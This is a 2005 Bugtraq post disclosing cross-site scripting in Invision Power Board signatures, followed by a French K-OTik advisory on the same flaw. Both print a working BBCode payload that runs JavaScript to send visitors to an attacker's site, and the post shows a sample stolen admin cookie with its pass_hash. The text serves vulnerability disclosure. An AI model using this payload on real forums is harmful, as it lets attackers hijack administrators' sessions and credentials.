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Network Security Bugtraq
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Invision Power Board v2.0.3 XSS vulnerabilities

Subject: Invision Power Board v2.0.3 XSS vulnerabilities
Date: 29 Mar 2005 08:59:28 -0000


Invision Power Board v2.0.3 XSS vulnerabilities found more at user signature. 
when Admin read attacker topics, admin will lost his pass_hash

example
[session_id=f2600ff71ea895e6b9dedb5fd9480d16;%20member_id=48;%20pass_hash=8ee00894ca583f64a85fd41a47048d14;%20topicsread=a%3A7%3A%7Bi%3A498%3Bi%3A1111649756%3Bi%3A485%3Bi%3A1111649822%3Bi%3A494%3Bi%3A1111651530%3Bi%3A488%3Bi%3A1111653254%3Bi%3A481%3Bi%3A1111655869%3Bi%3A490%3Bi%3A1111654241%3Bi%3A250%3Bi%3A1111655785%3B%7D;%20modtids=%2C;%20anonlogin=-1]
 

I post this topic because  v2.0.3 also get bugs not only 1.3.1 and all atacker 
can hack by this code 

exploit
[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.servermalicieux.com');")

Viethacker.org
Hoangyenxinhdep - dora

-----------------------------------------

Date de Publication : 2005-02-21 © K-OTik.COM - Voir Notice Légale  
Titre: Invision Power Board SML Codes Cross Site Scripting Vulnerability
K-OTik ID : AVIS-2005-0191
Risque : Bas 
Exploitable à distance : Oui
Exploitable en local : Oui

* Description Technique *

Une vulnérabilité a été identifiée dans Invision Power Board, elle pourrait 
être exploitée par un attaquant afin de réaliser des attaques par Cross Site 
Scripting. Le problème résulte d'une erreur présente au niveau de la gestion 
des signatures qui ne sont pas correctement filtrées, ce qui pourrait être 
exploité afin d'injection du code HTML coté client via une signature spécifique.

[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.servermalicieux.com');")

* Versions Vulnérables *

Invision Power Board version 1.3.1 et inférieures 

* Solution *

Aucune solution officielle pour l'instant

* Références *

http://www.k-otik.com/bugtraq/bulletins/937 

* Crédit *

Vulnérabilités découvertes par Daniel A.

* ChangeLog *

2005-02-21 : Version Initiale


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